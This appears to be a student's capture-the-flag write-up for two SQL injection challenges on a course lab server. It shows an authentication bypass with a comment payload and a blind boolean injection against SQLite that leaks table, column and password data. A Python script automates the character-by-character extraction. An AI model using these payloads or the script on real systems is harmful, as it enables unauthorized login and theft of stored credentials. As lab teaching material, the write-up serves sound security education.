wk11 - SQL

Theme: web, PHP, SQL injection, brute-force

SQL 1 (100)

Given

• A website with Register and Log-in Options

• Register is disabled by admin, so we can only attempt to log-in using username=admin

Solve

Since we don't know admin's password, we want to comment out the SQL query that checks the password.

We guess that the sql query made from user input takes the form of: SELECT * FROM Users WHERE username='<inject>' AND password='<password>'

In the username field, if we inject admin'--, the query becomes: SELECT * FROM Users WHERE username='admin'--' AND password='<password>' where everything beyond -- is commented out.

The query will eventually be processed to return the entry of the admin within a table that stores user credentials. It exists and so we're let in!

Flag

flag{y0u_sh4ll_n0t_p4ss...0h_w4it_y0u_d1d!_caf2bb5ee0ab9820}

SQL 2 (200)

Solve

• Step 0: Try to log-in as admin

  • Inject this in the username input: admin';-- and enter anything for password

  • We manage to sign-in, but the flag is not shown...

  • This means we need to find the flag stored in the database through other means...

• Begin to explore the database!

• Step 1: Find how many tables the database has

  • By injecting: admin' AND (SELECT CASE WHEN COUNT(*) = 1 THEN 1 ELSE 'no' END AS result FROM sqlite_schema WHERE type='table');--

  • This executes, meaning there is only one table in the database

    • The flag must be in the same table as user credentials

• Step 1.5: Figure out table name

  • Purpose: needed for later injected queries to figure out table columns etc.

  • Method: letter-by-letter brute-force; use substring

    • admin' AND (SUBSTR((SELECT tbl_name FROM sqlite_schema WHERE type='table' LIMIT 1 OFFSET 0), 1, 1)='<char>');

      • LIMIT 1 means get only one entry

      • OFFSET 0 means get the 1st entry

    • Sub-steps: set up Python requests to automate brute-force

      • Use burpe suite to inspect HTTP packets for successful log-in vs invalid credentials

        • Use the HTTP response as feedback

          • Invalid credentials: 200 OK

          • Successful Log-in: 302 FOUND

      • Write Python code to automate testing this particular query

  • Table name: us...

    • Guess: 'users'

    • Verify guess using the injection:

      • `admin' AND (SELECT CASE WHEN (SELECT tbl_name FROM sqlite_schema WHERE type='table' LIMIT 1 OFFSET 0) = 'users' THEN 1 ELSE 0 END);--

      • Conclusion: it works! Table name = 'users'

• Step 2: Figure out the table structure: What columns are there? Amount of entries?

  • To see columns: SELECT name FROM pragma_table_info('<table name>');

    • Requires the table name that we solved for in step 1.5 above

  • Get individual column names:

    • SELECT name FROM pragma_table_info('users') LIMIT 1 OFFSET 1;

      • OFFSET 1 means get the 2nd entry of the query results

  • 2.1: How many columns?

    • Fails at: admin' AND (SELECT CASE WHEN COUNT(*) > 3 THEN 1 ELSE 'no' END AS column_count FROM pragma_table_info('users'));--

    • Conclusion: There are 3 columns in table 'users'

  • 2.2: How many entries?

    • Success at: admin' AND (SELECT CASE WHEN COUNT(*) = 1 THEN 1 ELSE 'no' END AS result FROM 'users');--

    • Conclusion: Only 1 entry exists.

      • This means the flag must be in the admin entry

      • Next step: leak the column names

        • One of the columns must store the flag

• Step 3: Leak columns in 'users'

  • First column: guess it's 'username' or 'id'

    • Succeeds with: admin' AND ((SELECT name FROM pragma_table_info('users') LIMIT 1)='id');--

      • Observation: table names are not case-sensitive. The above query also succeeded for table 'Users', or 'uSers', etc...

        • This indicates the database is likely SQLite

      • Conclusion: first column is 'id'

  • Second column:

    • Guess letter by letter:

      • admin' AND (SELECT CASE WHEN SUBSTR((SELECT name FROM pragma_table_info('users') LIMIT 1 OFFSET 1), 1, 1) = '<char>' THEN 1 ELSE 'no' END);--

    • Verify entire name:

      • admin' AND (SELECT CASE WHEN SUBSTR((SELECT name FROM pragma_table_info('users') LIMIT 1 OFFSET 1), 1, 8) = 'username' THEN 1 ELSE 'no' END);--

    • Conclusion: second column is 'username'

  • Third column:

    • Guess letter by letter:

      • admin' AND (SELECT CASE WHEN SUBSTR((SELECT name FROM pragma_table_info('users') LIMIT 1 OFFSET 2), 1, 1) = '<char>' THEN 1 ELSE 'no' END);--

    • Verify entire name:

      • admin' AND (SELECT CASE WHEN SUBSTR((SELECT name FROM pragma_table_info('users') LIMIT 1 OFFSET 2), 1, 8) = 'password' THEN 1 ELSE 'no' END);--

    • Conclusion: third column is 'password'

• Step 4: leak the only entry's password (could be the flag?)

  • We already know username="admin", so let's guess that the flag is stored in the password column.

  • Guess letter by letter:

    • admin' AND (SELECT CASE WHEN SUBSTR((SELECT password FROM users LIMIT 1),<position>, 1)='<char>' THEN 1 ELSE 'no' END);--

  • Use a Python script to automate building the flag string.

Script to Brute-force Flag (Step 4)

import requests
import string

# prepare a list of possible chars 
alpha_num = list('_' + ' ' + '{' + '}' + string.ascii_lowercase + string.punctuation + string.digits + string.ascii_uppercase) 

base_url = "http://offsec-chalbroker.osiris.cyber.nyu.edu:1505"
# Create a session
session = requests.Session()
session.cookies.set("CHALBROKER_USER_ID", "[ID]")  # enter your Net ID
login_url = f"{base_url}/login?"
response = session.get(login_url)
headers = {"Content-Type": "application/x-www-form-urlencoded"}

# Initialize variables
i = 0
pos = 32
char = alpha_num[0]
flag = ""

# Brute-force the flag through all character positions
while True:
	i = 0
	# land on login page

	response = session.get(login_url)
	# send SQL injection
	# send the first query
	data = {
	"username": f"admin' AND (SELECT CASE WHEN SUBSTR((SELECT password FROM          users LIMIT 1), {pos}, 1)='{char}' THEN 1 ELSE 'no' END);--",
	"password": "a"
	}
	response = session.post(login_url, headers=headers, data=data)

	# if fails, resend to try next possible char
	while (not response.history) and i < len(alpha_num):
		i += 1
		char = alpha_num[i]
		if (i % 10 == 0):
			print(f"On pos {pos}, about to try char: {char} ...........")
		data = {
		"username": f"admin' AND (SELECT CASE WHEN SUBSTR((SELECT password FROM          users LIMIT 1), {pos}, 1)='{char}' THEN 1 ELSE 'no' END);--",
		"password": "a"
		}
		response = session.post(login_url, headers=headers, data=data)

	if (not response.history):
		print(f"Unknown character '{char}' detected at position {pos}. Exit!")
		exit
	
	flag += char # add char to the flag string
	print(f"The flag is (in progress): {flag}")
	if (char == '}'): break
	pos += 1 # move onto checking next character of password entry

print(f"The flag is: {flag}")

Flag

flag{n0_sql_w4s_h4rm3d_1n_m4k1ng_th1s_ch4ll3ng3_12a919199a35c6e1}